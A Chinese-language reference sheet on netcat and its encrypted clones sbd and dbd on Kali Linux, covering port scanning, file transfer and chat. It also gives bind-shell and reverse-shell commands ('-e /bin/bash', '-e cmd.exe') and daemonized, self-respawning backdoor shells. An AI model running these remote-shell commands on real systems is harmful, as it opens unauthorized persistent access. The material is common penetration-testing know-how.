nc: NetCat
支援 TCP 與 UDP,可當作 server 或 client,也被稱為 TCP/IP swiss army knife。如果在某電腦執行 nc,就可以遠端遙控該電腦、讀取或下載檔案。
在 kali linux,這三個指令都是 nc
nc
nc.traditional
netcat
參數
-p port: 本地端 port number
-l: listen mode
-n: 使用 IP,不用 hostname
-t: telnet
-u: UDP mode
-v: verbose output,可重複兩次 -vv 有更詳細的 output
-w sec: 連線 timeout 秒數
-q sec: 收到 EOF 後,斷線秒數
-z: scan mode
port scan
# 測試 192.168.1.1 的 1~1024 port
nc -znvw2 192.168.1.1 1-1024
# 測試 UDP port
nc -uznvw2 192.168.1.1 1-1024
telnet
# 等同 telnet 192.168.1.1 80
nc -nvv 192.168.1.1 80
# 連線到 TCP 80 並發送 get-req.txt 文字內容# get-req.txt
tee get-req.txt << EOF
GET http://www.google.com/
Host: www.google.com
EOF
nc -vv www.google.com 80 < get-req.txt
# listen TCP port 80,收到連線就發送檔案內容
nc -l -p 80 < get-req.txt
# 簡易 IM,另一端可用 nc 或 telnet,連線後,可互相傳遞文字
nc -ltp 80
nc -vv localhost 80
remote sh
被控端先啟動待命,操控端連線過去
# listen TCP 8080,轉送到 bash
nc -lp 8080 -e /bin/bash
nc -vv localhost 8080
反向,操控端先啟動待命,等待被控端連線進去後,讓操控端操作
nc -lp 80
nc 192.168.1.1 80 -e cmd.exe
自動批次處理
將要執行的指令存到 cmd.txt,一次發送過去
nc -lp 80 < cmd.txt
file transfer
上傳檔案
# 先在接收方啟動 server端
nc -l -p 8080 > filename
# 再在傳送方啟動 client 端傳送資料
nc 192.168.1.157 8080 < filename
可相反下載檔案
# 先在傳送方啟動 server 端
nc -l -p 8080 < filename
# 再在接收方啟動 client 端
nc 192.168.1.1 8080 > filename
記錄
# 無窮迴圈,記錄連線 log,直到 Ctrl+C
while true; do nc -l -p 80 >> log.txt; done
sbd
是 Netcat-clone,增強加密的部分,支援 AES-CBC-128 + HMAC-SHA1,只支援 TCP
remote sh
# 被控端
sbd -l -p 8080 -e bash -v -n
# 遙控端,可執行 bash shell command,並取得 output 結果
sbd localhost 8080
加上 -k secret 密碼參數,作為加密的密碼
# 被控端
sbd -l -p 8080 -e bash -v -n -k test
# 遙控端,可執行 bash shell command,並取得 output 結果
sbd localhost 8080 -k test
dbd
Netcat-clone,增強加密的部分,支援 AES-CBC-128 + HMAC-SHA1,只支援 TCP。跟 sbd 類似
參數
-r n: 無限 respawn/reconnect,每次連線會暫停 n seconds。-r0 用在 re-listen after disconnect
-c on|off: 是否要使用內建的 AES-CBC-128 + HMAC-SHA1 加密
-k secret: 密碼
-H on|off: highlight incoming data
-D on|off: fork and run in background (daemonize)
dbd -l -p 8080 -v -H on
dbd -r 10 -v -H on -e bash localhost 8080
References
kali/03使用 sbd 及 dbd 创建系统安全后门.md at master · Yehnn/kali · GitHub